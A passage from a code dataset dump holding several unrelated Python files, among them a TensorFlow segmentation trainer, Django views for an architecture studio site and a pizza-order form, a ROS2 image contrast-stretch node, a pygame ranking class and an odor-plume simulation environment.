self._optimizer\n\n\n @property\n def metrics(self):\n if not all(metric in self.metrics_list.values() for metric in self._metrics):\n self._metrics = [self.metrics_list[m] for m in self._metrics if m in self.metrics_list]\n\n if not self._metrics:\n logging.error('Unrecognized metric type')\n return self._metrics\n\n @property\n def model_dir(self):\n if not self._save_model_path:\n self._save_model_path = os.path.join(os.getcwd(),'weights.hdf5')\n return self._save_model_path\n\n\n\n def train(self):\n \"\"\"\n Run optimization to train the model.\n \"\"\"\n print('Here+++++++++++++++++++++++++++++=')\n num_train_examples = self.num_all_train_examples\n num_val_examples = self.num_all_val_examples\n iterations_per_epoch = max(num_train_examples // self.batch_size, 1)\n validation_steps = max(num_val_examples // self.batch_size, 1)\n num_iterations = self.num_epochs * iterations_per_epoch\n\n cp = tf.keras.callbacks.ModelCheckpoint(filepath=self.model_dir, monitor='val_dice_loss', save_best_only=True,\n verbose=self.verbose)\n self.model.compile(optimizer=self.optimizer, loss=self._loss, metrics=self.metrics)\n\n\n print('Begin')\n history = self.model.fit(self.data_train,\n steps_per_epoch=iterations_per_epoch,\n epochs=self.num_epochs,\n validation_data=self.data_val,\n validation_steps=validation_steps,\n callbacks=[cp]\n )\n print('End')\n\n try:\n logging.info('Saving train history')\n self.save_train_history(history)\n except:\n logging.error('Saving of history fail')\n\n return history\n\n def save_train_history(self, history):\n try:\n with open('train_history.txt', 'w') as file:\n file.write(json.dumps(history.history))\n except:\n logging.error(\"Could not save train history.\")\n\n\n\n def dice_loss(self, mask_true, mask_pred):\n def dice_coeff(mask_true, mask_pred):\n smooth = 1.\n # Flatten\n mask_true_f = tf.reshape(mask_true, [-1])\n mask_pred_f = tf.reshape(mask_pred, [-1])\n intersection = tf.reduce_sum(mask_true_f * mask_pred_f)\n score = (2. * intersection + smooth) / (tf.reduce_sum(mask_true_f) + tf.reduce_sum(mask_pred_f) + smooth)\n return score\n\n return 1 - dice_coeff(mask_true, mask_pred)\n\n def recall(self,mask_true, mask_pred):\n true_positives = K.sum(K.round(K.clip(mask_true * mask_pred, 0, 1)))\n possible_positives = K.sum(K.round(K.clip(mask_true, 0, 1)))\n recall = true_positives / (possible_positives + K.epsilon())\n return recall\n\n def precision(self, mask_true, mask_pred):\n true_positives = K.sum(K.round(K.clip(mask_true * mask_pred, 0, 1)))\n predicted_positives = K.sum(K.round(K.clip(mask_pred, 0, 1)))\n precision = true_positives / (predicted_positives + K.epsilon())\n return precision\n\n def F1(self, mask_true, mask_pred):\n precision_val = self.precision(mask_true, mask_pred)\n recall_val = self.recall(mask_true, mask_pred)\n return 2 * ((precision_val * recall_val) / (precision_val + recall_val + K.epsilon()))\n","sub_path":"Segmentation/optimizer/solver_encoder_decoder.py","file_name":"solver_encoder_decoder.py","file_ext":"py","file_size_in_byte":7454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"591545084","text":"from django.shortcuts import render\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom django.http import HttpResponse\nfrom django.template import RequestContext\nfrom django.views.generic import ListView, DetailView\nfrom sito.models import *\nfrom django.http import HttpResponseRedirect\nfrom django.contrib.syndication.views import Feed\n\n\n# Create your views here.\nclass IndexView(ListView):\n queryset = Post.objects.filter(slide='1').order_by('-pub_date')\n context_object_name = 'post_list'\n template_name = 'index.html'\n\n def get_context_data(self, **kwargs):\n context = super(IndexView, self).get_context_data(**kwargs)\n\n language = \"it\"\n session_language = \"it\"\n if 'lang' in self.request.COOKIES:\n language = self.request.COOKIES['lang']\n if 'lang' in self.request.session:\n session_language = self.request.session['lang']\n\n context['language'] = language \n context['session_language'] = session_language\n return context\n\n\ndef StudioView(request):\n language = \"it\"\n session_language = \"it\"\n if 'lang' in request.COOKIES:\n language = request.COOKIES['lang']\n if 'lang' in request.session:\n session_language = request.session['lang']\n context = {'language' : language, \n 'session_language' : session_language}\n\n return render(request, 'studio.html', context)\n\ndef InteriorView(request):\n language = \"it\"\n session_language = \"it\"\n if 'lang' in request.COOKIES:\n language = request.COOKIES['lang']\n if 'lang' in request.session:\n session_language = request.session['lang']\n\n categoria_list = Post.objects.filter(categoria__in = '4').order_by('-pub_date')\n context = {'language' : language, \n 'session_language' : session_language,\n 'categoria_list': categoria_list}\n return render(request, 'interior.html', context)\n\ndef ArchitectureView(request):\n language = \"it\"\n session_language = \"it\"\n if 'lang' in request.COOKIES:\n language = request.COOKIES['lang']\n if 'lang' in request.session:\n session_language = request.session['lang']\n\n categoria_list = Post.objects.filter(categoria__in = '1').order_by('-pub_date')\n context = {'language' : language, \n 'session_language' : session_language,\n 'categoria_list': categoria_list}\n return render(request, 'architettura.html', context)\n\n\ndef RenderView(request):\n return render_to_response('costruzione.html', context_instance=RequestContext(request))\n\n\n\nclass DettaglioView(DetailView):\n queryset = Post.objects.all()\n template_name = 'dettaglio.html'\n\n def get_context_data(self, **kwargs):\n context = super(DettaglioView, self).get_context_data(**kwargs)\n context['categoria_list'] = Post.objects.filter(categoria__in = context['post'].categoria.all()).order_by('-pub_date')\n context['video_list'] = context['post'].video.all().order_by('-id')[:1]\n context['images_left'] = context['post'].galleria.all().order_by('id')[:3]\n context['images_right'] = context['post'].galleria.all().order_by('id')[3:][:3]\n context['images_center'] = context['post'].galleria.all()[:1]\n\n language = \"it\"\n session_language = \"it\"\n if 'lang' in self.request.COOKIES:\n language = self.request.COOKIES['lang']\n if 'lang' in self.request.session:\n session_language = self.request.session['lang']\n\n context['language'] = language \n context['session_language'] = session_language\n return context\n\n\n\ndef DesignView(request):\n language = \"it\"\n session_language = \"it\"\n if 'lang' in request.COOKIES:\n language = request.COOKIES['lang']\n if 'lang' in request.session:\n session_language = request.session['lang']\n categoria_list = Post.objects.filter(categoria__in = '5').order_by('-pub_date')\n context = {'language' : language, \n 'session_language' : session_language,\n 'categoria_list': categoria_list}\n return render(request, 'design.html', context)\n\n\n\ndef ContattiView(request):\n return render_to_response('contatti.html', context_instance=RequestContext(request))\n\n\ndef RenderingView(request):\n language = \"it\"\n session_language = \"it\"\n if 'lang' in request.COOKIES:\n language = request.COOKIES['lang']\n if 'lang' in request.session:\n session_language = request.session['lang']\n render_list = Post.objects.all().exclude(categoria__in = '5').order_by('-pub_date')\n context = {'language' : language, \n 'session_language' : session_language,\n 'render_list': render_list}\n return render(request, 'rendering.html', context)\n\n\n\ndef AnimazioneView(request):\n video_list = Video.objects.all().order_by('-id')\n language = \"it\"\n session_language = \"it\"\n if 'lang' in request.COOKIES:\n language = request.COOKIES['lang']\n if 'lang' in request.session:\n session_language = request.session['lang']\n context = {'language' : language, \n 'session_language' : session_language,\n 'video_list': video_list}\n return render(request, 'animazione.html', context)\n\ndef NewsView(request):\n news_list = News.objects.all().order_by('-pub_date')[:12]\n language = \"it\"\n session_language = \"it\"\n if 'lang' in request.COOKIES:\n language = request.COOKIES['lang']\n if 'lang' in request.session:\n session_language = request.session['lang']\n context = {'language' : language, \n 'session_language' : session_language,\n 'news_list': news_list}\n return render(request, 'news.html', context)\n\n\nclass NewsDettaglioView(DetailView):\n queryset = News.objects.all()\n template_name = 'newsdettaglio.html'\n\n def get_context_data(self, **kwargs):\n context = super(NewsDettaglioView, self).get_context_data(**kwargs)\n \n language = \"it\"\n session_language = \"it\"\n if 'lang' in self.request.COOKIES:\n language = self.request.COOKIES['lang']\n if 'lang' in self.request.session:\n session_language = self.request.session['lang']\n\n context['language'] = language \n context['session_language'] = session_language\n return context\n\n\ndef ProvaView(request):\n language = \"it\"\n session_language = \"it\"\n if 'lang' in request.COOKIES:\n language = request.COOKIES['lang']\n if 'lang' in request.session:\n session_language = request.session['lang']\n context = {'language' : language, \n 'session_language' : session_language}\n\n return render(request, 'prova.html', context)\n\n\ndef language(request, language='it'):\n response = HttpResponse(\"setting language to %s\" % language)\n response.set_cookie('lang', language)\n request.session['lang'] = language\n return HttpResponseRedirect(request.META.get('HTTP_REFERER'))\n\n## AGGIUNGIAMO FEED ##\nclass SitoFeed(Feed):\n title = \"Studio Sagitair | Progettazione - Interior Design - Architettura - Render\"\n description = \"Benvenuto nel sito di Studio Sagitair\"\n link = \"/feed/\"\n\n def items(self):\n return Post.objects.all().order_by(\"-pub_date\")[:10]\n def item_title(self, item):\n return item.titolo\n def item_description(self, item):\n return item.body\n def item_link(self, item):\n return u\"/%d\" % item.id \n\n\n\n\n","sub_path":"sito/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"521736461","text":"# Import ROS python and Node functionalities\nimport rclpy\nfrom rclpy.node import Node\nfrom rclpy.qos import QoSDurabilityPolicy, QoSHistoryPolicy, QoSReliabilityPolicy\nfrom rclpy.qos import QoSProfile\n\nimport numpy as np\nimport time\n\n# Import the messages defined for the ROS FPGA Node interface\nfrom forest_cs_128_64b_interface.msg import FpgaOut\nfrom forest_cs_128_64b_interface.msg import FpgaIn\n\nclass PcSwNode(Node):\n\n def __init__(self):\n super().__init__('pc_sw_node')\n profile = QoSProfile(depth=10, reliability=QoSReliabilityPolicy.RMW_QOS_POLICY_RELIABILITY_RELIABLE, durability=QoSDurabilityPolicy.RMW_QOS_POLICY_DURABILITY_VOLATILE)\n # Publish to the fpga_out_topic topic, message type is FpgaOut\n self.publisher_ = self.create_publisher(FpgaOut, 'fpga_out_topic', profile)\n # Subscribe to the fpga_in_topic topic, message type is FpgaIn\n self.subscription = self.create_subscription(FpgaIn, 'fpga_in_topic', self.sw_sub_callback, profile)\n self.subscription\n self.N_ROWS = 128\n self.N_COLS = 128\n self.out_img = np.zeros((self.N_ROWS*self.N_COLS,), dtype=np.uint8)\n\n def sw_pub_callback(self):\n msg = FpgaOut()\n for i in range(self.N_ROWS*self.N_COLS//8):\n out_hi = np.uint32(np.left_shift(self.out_img[8*i+7], 32-1*8) | np.left_shift(self.out_img[8*i+6], 32-2*8) | np.left_shift(self.out_img[8*i+5], 32-3*8) | self.out_img[8*i+4]) \n out_lo = np.uint32(np.left_shift(self.out_img[8*i+3], 32-1*8) | np.left_shift(self.out_img[8*i+2], 32-2*8) | np.left_shift(self.out_img[8*i+1], 32-3*8) | self.out_img[8*i]) \n msg.image_out[i] = np.uint64(np.left_shift(out_hi, 32) | out_lo)\n msg.idx = self.i\n self.publisher_.publish(msg)\n self.t3 = time.time()\n self.get_logger().info(\"idx:{} t2:{} t3:{}\".format(self.i, self.t2, self.t3))\n\n def sw_sub_callback(self, msg):\n self.t2 = time.time()\n self.i = msg.idx\n image_in = np.zeros((self.N_ROWS*self.N_COLS,), dtype=np.uint8)\n for i in range(self.N_ROWS*self.N_COLS//8):\n for j in range(8):\n image_in[8*i+j] = np.uint8(np.right_shift(msg.image_in[i],np.uint64(8*j)))\n in_hist = self.histogram(image_in)\n c, d = self.get_c_d(in_hist)\n self.do_stretch(c, d, image_in)\n self.sw_pub_callback()\n\n def histogram(self, img_data):\n hist = [0]*256\n for i in range(len(img_data)):\n hist[img_data[i]]+=1\n return hist\n \n def get_c_d(self, hist):\n c = 0\n d = 255\n low_perc_count = int((1*self.N_ROWS*self.N_COLS)/100)\n hi_perc_count = int((99*self.N_ROWS*self.N_COLS)/100)\n\n cumulative_hist = 0 \n for i in range(0, 256):\n cumulative_hist += hist[i]\n if (cumulative_hist > low_perc_count):\n c = i\n break\n\n cumulative_hist = self.N_ROWS*self.N_COLS\n for i in range(255, 0, -1):\n cumulative_hist -= hist[i]\n if (cumulative_hist < hi_perc_count):\n d = i\n break\n \n return c, d\n\n def do_stretch(self, c, d, img_data):\n for i in range(self.N_ROWS*self.N_COLS):\n if (img_data[i] < c):\n self.out_img[i] = 0\n elif (img_data[i] > d):\n self.out_img[i] = 255\n else:\n self.out_img[i] = np.uint8((img_data[i]-c)*255/(d-c))\n\ndef main(args=None):\n rclpy.init(args=args)\n\n pc_sw_node = PcSwNode()\n\n rclpy.spin(pc_sw_node)\n\n pc_sw_node.destroy_node()\n rclpy.shutdown()\n\nif __name__ == '__main__':\n main()\n","sub_path":"examples/contrast_stretch/cs_128_64b/ros2_packages/cs_128_64b/cs_128_64b/pc_sw_node.py","file_name":"pc_sw_node.py","file_ext":"py","file_size_in_byte":3683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"54257028","text":"import pygame\r\nfrom Mode import Mode\r\nfrom Control import Control\r\n\r\n'''\r\nRankingクラス\r\n ランキングを管理するクラス\r\n'''\r\nclass Ranking():\r\n def __init__(self, media):\r\n self.titlefont = pygame.font.SysFont('inkfree', 80)\r\n self.title = self.titlefont.render(\"Ranking\", True, (255,255,255))\r\n self.comment = pygame.font.SysFont('inkfree', 40)\r\n self.control = Control()\r\n self.media = media\r\n self.ranking = []\r\n self.write_point = 0\r\n \r\n def main(self, screen, defficulty, rect_player):\r\n # タイトルと情報の描画\r\n screen.blit(self.title, (20,50))\r\n screen.blit(self.comment.render(\"EXIT\", True, (255,255,255)), (580, 580))\r\n screen.blit(self.comment.render(\"Rank Score Name\", True, (255,0,0)), (450, 0))\r\n try:\r\n with open(self.media.ranking_txt) as f:\r\n ranking_str = [s.strip() for s in f.readlines()]\r\n for i, row in enumerate(ranking_str):\r\n score, name = row.split(\",\")\r\n screen.blit(self.comment.render(str(i+1), True, (255,255,255)), (480, 50+i*50))\r\n screen.blit(self.comment.render(score, True, (255,255,255)), (580, 50+i*50))\r\n screen.blit(self.comment.render(name, True, (255,255,255)), (715, 50+i*50))\r\n except FileNotFoundError:\r\n pass # まだファイルが作成されていなければ何も表示しない\r\n\r\n # exitの位置に常に配置\r\n rect_player.center = (530, 600)\r\n\r\n # コントロール操作(exitのみ)\r\n con = self.control.control()\r\n if con == 'return':\r\n self.media.kirakira.play()\r\n return Mode.MENU\r\n\r\n return Mode.RANKING\r\n\r\n def read_ranking(self, get_star):\r\n try:\r\n with open(self.media.ranking_txt) as f:\r\n # テキストからランキング情報を読み込む\r\n # ランキングは\"socre,name\"というカンマ区切りで記述されている\r\n ranking_str = [s.strip() for s in f.readlines()]\r\n renew_ranking = False\r\n if len(ranking_str) != 0:\r\n for i, row in enumerate(ranking_str):\r\n score, name = row.split(\",\")\r\n if int(score) <= get_star and renew_ranking == False:\r\n self.ranking.append((str(get_star)+\",\"))\r\n renew_ranking = True\r\n self.write_point = i\r\n self.ranking.append(score + ',' + name)\r\n if renew_ranking == False and i != 9: # ランキング最下位にまだ余裕があったら\r\n self.ranking.append(str(get_star) + ',')\r\n self.write_point = i + 1\r\n renew_ranking = True\r\n elif renew_ranking == True and i == 9: # ランキング満員で更新されたら\r\n self.ranking.pop(10) # 一番下の人を取り除く\r\n else:\r\n raise FileNotFoundError # テキストファイルが何も書かれていなかったら\r\n\r\n except FileNotFoundError: # テキストファイルが存在しないor何も書いていない場合\r\n self.ranking.append(str(get_star) + ',')\r\n self.write_point = 0\r\n renew_ranking = True\r\n \r\n return renew_ranking\r\n\r\n def write_ranking(self, your_name):\r\n self.ranking[self.write_point] += your_name\r\n with open(self.media.ranking_txt, 'w') as f:\r\n f.write('\\n'.join(self.ranking))","sub_path":"Ranking.py","file_name":"Ranking.py","file_ext":"py","file_size_in_byte":3718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"304921290","text":"from django.conf.urls import include, url\nfrom django.views.generic import TemplateView\n\nimport settings\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = [\n url(\n r'^static/(?P.*)$',\n 'django.views.static.serve',\n {'document_root': settings.STATIC_ROOT}),\n url(\n r'^$', TemplateView.as_view(template_name='home.html'), name='home'),\n url(r'^changes/', include('changes.urls')),\n url(r'^main/', include('main.urls')),\n url(r'^admin/', include(admin.site.urls)),\n]\n","sub_path":"Project/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"276473547","text":"# -*- coding: utf-8 -*-\n\n# (цикл for)\nimport simple_draw as sd\n\n# Нарисовать стену из кирпичей. Размер кирпича - 100х50\n# Использовать вложенные циклы for\n\n\nfor step_ver in range(12):\n for step_hor in range(7):\n if step_ver % 2 == 0:\n offset = 50\n else:\n offset = 0\n bot_l = sd.Point(offset + step_hor * 100 - 50, 0 + step_ver * 50)\n top_r = sd.Point(offset + 50 + step_hor * 100, 50 + step_ver * 50)\n sd.rectangle(bot_l, top_r, color=sd.COLOR_DARK_RED, width=3)\n\n\nsd.pause()\n","sub_path":"lesson_003/07_wall.py","file_name":"07_wall.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"192863289","text":"# script \r\n\r\nfrom cn.edustar.jitar.util import ParamUtil\r\nfrom cn.edustar.jitar.data import *\r\nfrom user_query import UserQuery\r\nfrom base_action import *\r\n\r\n# 数据获取执行脚本.\r\nclass site_subject_blogs(SubjectMixiner):\r\n def __init__(self):\r\n self.params = ParamUtil(request)\r\n self.subj_svc = __jitar__.subjectService\r\n \r\n def execute(self):\r\n #print \"site_subject_blogs python 脚本正在执行\"\r\n \r\n \r\n self.putSubject()\r\n \r\n # 工作室分类\r\n self.get_blog_cates()\r\n\r\n # 名师工作室\r\n self.get_channel_teacher()\r\n \r\n # 学科带头人工作室\r\n self.get_expert_list()\r\n \r\n # 工作室访问排行\r\n self.get_hot_list()\r\n \r\n # 高亮显示项目.\r\n self.setData(\"head_nav\", \"blogs\")\r\n self.get_subject_comissioner()\r\n \r\n return \"success\"\r\n\r\n def _getCateSvc(self):\r\n return __jitar__.categoryService\r\n \r\n # 工作室分类. \r\n def get_blog_cates(self): \r\n blog_cates = self._getCateSvc().getCategoryTree(\"default\")\r\n request.setAttribute(\"blog_cates\", blog_cates)\r\n \r\n # 名师工作室.\r\n def get_channel_teacher(self):\r\n qry = UserQuery(\"\"\" u.loginName, u.userIcon, u.nickName, subj.subjectId \"\"\")\r\n qry.isFamous = True\r\n channel_teachers = qry.query_map(6)\r\n request.setAttribute(\"channel_teachers\", channel_teachers)\r\n \r\n \r\n # 学科带头人工作室.\r\n def get_expert_list(self):\r\n qry = UserQuery(\"\"\" u.loginName, u.blogName, u.nickName, u.blogIntroduce, subj.subjectId \"\"\")\r\n qry.userTypeId = 3\r\n expert_list = qry.query_map(2)\r\n request.setAttribute(\"expert_list\", expert_list)\r\n \r\n # 教研员工作室 - 未实现.\r\n \r\n # 工作室访问排行.\r\n def get_hot_list(self):\r\n qry = UserQuery(\"\"\" u.loginName, u.blogName, u.visitCount \"\"\")\r\n qry.orderType = 1\r\n hot_list = qry.query_map(10)\r\n request.setAttribute(\"hot_list\", hot_list)\r\n \r\n \r\n # 主工作室查询数据.\r\n self.query_blog()\r\n \r\n\r\n # 得到学科教研员列表.\r\n def get_subject_comissioner(self):\r\n qry = UserQuery(\"\"\" u.loginName, u.nickName, u.userIcon, u.blogName, u.createDate, \r\n u.articleCount, u.resourceCount, u.blogIntroduce \"\"\")\r\n qry.subjectId = self.subject.subjectId\r\n qry.isComissioner = True\r\n comissioner_list = qry.query_map(6)\r\n request.setAttribute(\"comissioner_list\", comissioner_list)\r\n \r\n\r\n # 根据条件查询工作室.\r\n def query_blog(self):\r\n qry = UserQuery(\"\"\" u.userId, u.loginName, u.nickName, u.createDate, u.blogName, u.blogIntroduce,\r\n u.userIcon, u.articleCount, u.resourceCount, u.commentCount, u.visitCount, u.photoCount,\r\n subj.subjectName, unit.unitName \"\"\")\r\n qry.subjectId = self.subject.subjectId\r\n qry.sysCateId = self.params.getIntParamZeroAsNull(\"categoryId\")\r\n qry.k = self.params.getStringParam(\"k\")\r\n \r\n pager = self.createPager()\r\n pager.totalRows = qry.count()\r\n blog_list = qry.query_map(pager)\r\n request.setAttribute(\"blog_list\", blog_list)\r\n request.setAttribute(\"pager\", pager)\r\n return\r\n \r\n def createPager(self):\r\n pager = self.params.createPager()\r\n pager.pageSize = 10\r\n pager.itemName = u\"工作��\"\r\n pager.itemUnit = u\"个\"\r\n return pager\r\n \r\n \r\n","sub_path":"WebContent/WEB-INF/ftl/site_subject_blogs.py","file_name":"site_subject_blogs.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"137592472","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('builds', '0009_auto_20150723_2049'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='build',\n name='topic_start_page',\n field=models.PositiveSmallIntegerField(default=1, verbose_name='topic start page'),\n ),\n ]\n","sub_path":"src/brouwers/builds/migrations/0010_build_topic_start_page.py","file_name":"0010_build_topic_start_page.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"318559226","text":"from django.shortcuts import render, redirect, reverse\nfrom django.http import HttpResponse\nfrom django.core.mail import send_mail\nfrom django.core.mail import EmailMessage\n\nfrom .forms import ProductForm, ProductFormset, RegisterForm\nfrom .models import Category, Product\nfrom test_task import settings\n\n\ndef home(request):\n products_list = Product.objects.order_by('id')\n formset = ProductFormset(initial=products_list.values())\n if request.method == 'POST':\n # import pdb;pdb.set_trace()\n formset = ProductFormset(request.POST, initial=products_list.values())\n if formset.is_valid():\n request.session['total_price'] = float(formset.get_total_price())\n request.session['pastry'] = request.POST.get('pastry')\n\n request.session['prod_name'] = formset.get_prod_list()\n return redirect(reverse('registration'))\n\n context = {\n 'formset': formset,\n }\n\n return render(request, 'pizza_constructor/home.html', context)\n\n\ndef register(request):\n if 'total_price' not in request.session:\n return redirect(reverse('home'))\n form = RegisterForm(initial={'total_price': request.session['total_price'],\n 'pastry': request.session['pastry'],\n 'prod_name': request.session['prod_name']\n })\n\n context = {\n 'form': form\n }\n if request.method == 'POST':\n email = request.POST.get('email')\n name = request.POST.get('name')\n total_price = request.POST.get('total_price')\n pastry = request.POST.get('pastry')\n products = request.POST.get('prod_name')\n\n # SENDING EMAIL\n email_from = settings.EMAIL_HOST_USER\n recipient_list = [email]\n message = f'Добрый день, {name}.\\nВаш заказ будет отправлен в ближайшее время.\\n' \\\n f'Подробности заказа:\\nТесто: {pastry}\\nИнгридиенты: {products}\\nСумма заказа: {total_price}$.'\n email = EmailMessage(subject=name, body=message, to=recipient_list, from_email=email_from, )\n email.send()\n return render(request, 'pizza_constructor/successful_order.html')\n return render(request, 'pizza_constructor/registration.html', context)\n","sub_path":"test_task/pizza_constructor/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"569512049","text":"\"\"\"\nProblem: 771. Jewels and Stones\nUrl: https://leetcode.com/problems/jewels-and-stones/description/ \nAuthor: David Wang\nDate: 9/3/2018\n\"\"\"\n\nclass Solution(object):\n def numJewelsInStones(self, J, S):\n \"\"\"\n :type J: str\n :type S: str\n \"\"\"\n jewel_dict = set(J)\n num_jewels = 0\n for s in S:\n if s in jewel_dict:\n num_jewels += 1\n return num_jewels\n","sub_path":"771_Jewels_and_Stones/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"405500122","text":"import warnings\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\nimport os\nimport sys\nimport glob\n\nimport pandas as pd\nimport numpy as np\nimport gym\nfrom gym import spaces\n\nimport sim_analysis\nimport tqdm\nfrom pprint import pprint\n\nimport config\nfrom scipy.spatial.distance import cdist \nimport sim_utils\n\nclass DynamicPlume:\n def __init__(self, \n sim_dt=0.01,\n birth_rate=1.0,\n env_dt=0.04,\n birthx=1.0, # per-episode puff birth rate sparsity minimum\n birthx_max=1.0, # overall odor puff birth rate sparsity max\n wind_speed=0.5,\n wind_y_var=0.5,\n qvar=0.0, # Variance of init. location; higher = more off-plume initializations\n diff_max=0.8, # teacher curriculum\n diff_min=0.4, # teacher curriculum\n warmup=25, # warmup upto these many steps \n max_steps=300, # max steps in episode (used for switch_idxs, ok to run longer)\n dataset=None, # optional: imitate a \"dataset\"\n verbose=0):\n super(DynamicPlume, self).__init__()\n\n # Init \n # print(os.getcwd())\n self.verbose = verbose\n self.warmup = warmup\n self.max_steps = max_steps\n self.snapshots = self.init_snapshots(config.datadir)\n self.birthx = birthx\n self.steps_per_env_dt = 4 # env_dt/sim_dt hardcoded\n self.birth_rate = birth_rate\n self.wind_y_var = wind_y_var\n self.wind_speed = wind_speed\n self.wind_degree = 0\n # self.switch_counts = [0]*6 + [i for i in range(1, 13)] # mix of constant & switch\n self.switch_counts = [0, 0, 0, 1, 1, 1, 2, 4, 6, 8] # mix of constant & switch\n if dataset is not None and 'constant' in dataset:\n self.switch_counts = [0]\n if dataset is not None and 'noisy' in dataset:\n self.switch_counts = [0, 0, 1, 1, 1, 2, 3, 4, 5, 6] # mix of constant & switch\n\n self.diff_min = diff_min\n self.diff_max = diff_max\n self.qvar = qvar\n self.reset()\n\n def init_snapshots(self, snapshots_dir):\n fnames = list(glob.glob(f\"{snapshots_dir}/*_snapshot.csv\"))[:10]\n if len(fnames) < 1:\n print(len(fnames), snapshots_dir)\n return [ pd.read_csv(x) for x in fnames ]\n\n def sparsify(self, puff_df, birthx=1.0):\n keep_idxs = puff_df['puff_number'].sample(frac=np.clip(birthx, 0.0, 1.0))\n return puff_df.query(\"puff_number in @keep_idxs\")\n\n def reset(self):\n self.ep_step = 0\n self.wind = [0.5, 0.0]\n self.wind_y_varx = np.random.uniform(low=0.8, high=1.2) # some randomness to how spread out the wind puffs will be\n self.puffs = self.snapshots[ np.random.randint(0, len(self.snapshots)) ].copy(deep=True)\n if np.random.uniform(0.0, 1.0) > 0.5: # Random flip\n self.puffs.loc[:,'y'] *= 1\n self.tidx = self.puffs['tidx'].unique().item()\n self.switches_ep = np.random.choice(self.switch_counts)\n self.switch_idxs = [] if self.switches_ep == 0 else np.random.randint(0, self.max_steps, self.switches_ep).tolist()\n if self.switches_ep in [1, 2]:\n self.switch_idxs = np.random.randint(0, int(self.max_steps/3), self.switches_ep).tolist()\n # self.switch_p = self.switches_ep/self.max_steps\n # Dynamic birthx for each episode\n if self.switches_ep == 0: \n self.birthx_ep = np.random.uniform(low=self.birthx, high=1.0)\n else:\n self.birthx_ep = np.random.uniform(low=0.7, high=1.0)\n if self.birthx_ep < 0.95:\n self.puffs = self.sparsify(self.puffs, self.birthx_ep)\n # Warmup\n for i in range(np.random.randint(0, self.warmup)):\n self.step()\n\n def step(self):\n self.ep_step += 1\n # update puffs\n wind_t = pd.Series({'wind_x': self.wind[0], 'wind_y': self.wind[1], 'time':(self.tidx+1)/100})\n for i in range(self.steps_per_env_dt):\n self.tidx += 1\n self.puffs = sim_utils.manual_integrator(\n self.puffs[['puff_number', 'time', 'tidx', 'x', 'y', 'radius']], \n wind_t, \n self.tidx, \n birth_rate=self.birth_rate*self.birthx_ep, \n wind_y_var=self.wind_y_var*self.wind_y_varx)\n # update wind\n # if self.switches_ep > 0 and np.random.uniform(low=0.0, high=1.0) <= self.switch_p:\n if self.switches_ep > 0 and self.ep_step in self.switch_idxs:\n self.wind_degree = np.random.normal(0, 60)\n self.wind_degree = np.clip(self.wind_degree, -60, 60 )\n # self.wind_degree = np.random.uniform(-60, 60)\n wind_x = np.cos( self.wind_degree * np.pi / 180. )*self.wind_speed\n wind_y = np.sin( self.wind_degree * np.pi / 180. )*self.wind_speed\n if self.verbose > 0:\n print(f\"tidx: {self.tidx} - wind_degree:{self.wind_degree}\")\n self.wind = [wind_x, wind_y]\n\n\n def get_abunchofpuffs(self, max_samples=300): \n # Z = self.puffs.query(f\"tidx == {self.tidx}\").loc[:,['x','y']]\n Z = self.puffs.loc[:,['x','y']]\n Z = Z.sample(n=max_samples, replace=False) if Z.shape[0] > max_samples else Z\n return Z\n\n def get_stray_distance(self, agent_location, max_samples=2000):\n loc_x = agent_location[0]\n loc_x_window = 1.0 # meters\n # y_median = self.puffs.query(\"(x >= (@loc_x - @loc_x_window)) and (x <= (@loc_x + @loc_x_window))\")['y'].median()\n y_median = self.puffs.query(\"(x >= (@loc_x - @loc_x_window)) and (x <= (@loc_x + @loc_x_window))\")['y'].mean()\n y_median = 0 if np.isnan(y_median) else y_median\n ystray = np.abs(agent_location[1] - y_median)\n return ystray\n # Z = self.get_abunchofpuffs(max_samples=max_samples)\n # Y = cdist(Z.to_numpy(), np.expand_dims(agent_location,axis=0), metric='euclidean')\n # try:\n # minY = min(Y) \n # except Exception as ex:\n # print(f\"Exception: {ex}, t:{self.t_val:.2f}, tidx:{self.tidx}, {Z}\") \n # minY = np.array([0]) \n # return minY[0] # return float not float-array\n\n\n def get_current_wind_xy(self):\n return self.wind\n\n def get_initial_location(self, loc_algo):\n # assume quantile loc_algo\n q_curriculum = np.random.uniform(self.diff_min, self.diff_max)\n\n Z = self.get_abunchofpuffs()\n X_pcts = Z['x'].quantile([q_curriculum-0.1, q_curriculum]).to_numpy()\n X_mean, X_var = X_pcts[1], X_pcts[1] - X_pcts[0]\n # print(\"initial X mean, var, q: \", X_mean, X_var, q_curriculum)\n Y_pcts = Z.query(\"(x >= (@X_mean - @X_var)) and (x <= (@X_mean + @X_var))\")['y'].quantile([0.05,0.5]).to_numpy()\n Y_pcts\n Y_mean, Y_var = Y_pcts[1], min(1, Y_pcts[1] - Y_pcts[0]) # TODO: What was min for?\n # print(Y_mean, Y_var)\n varx = self.qvar \n loc_xy = np.array([X_mean + 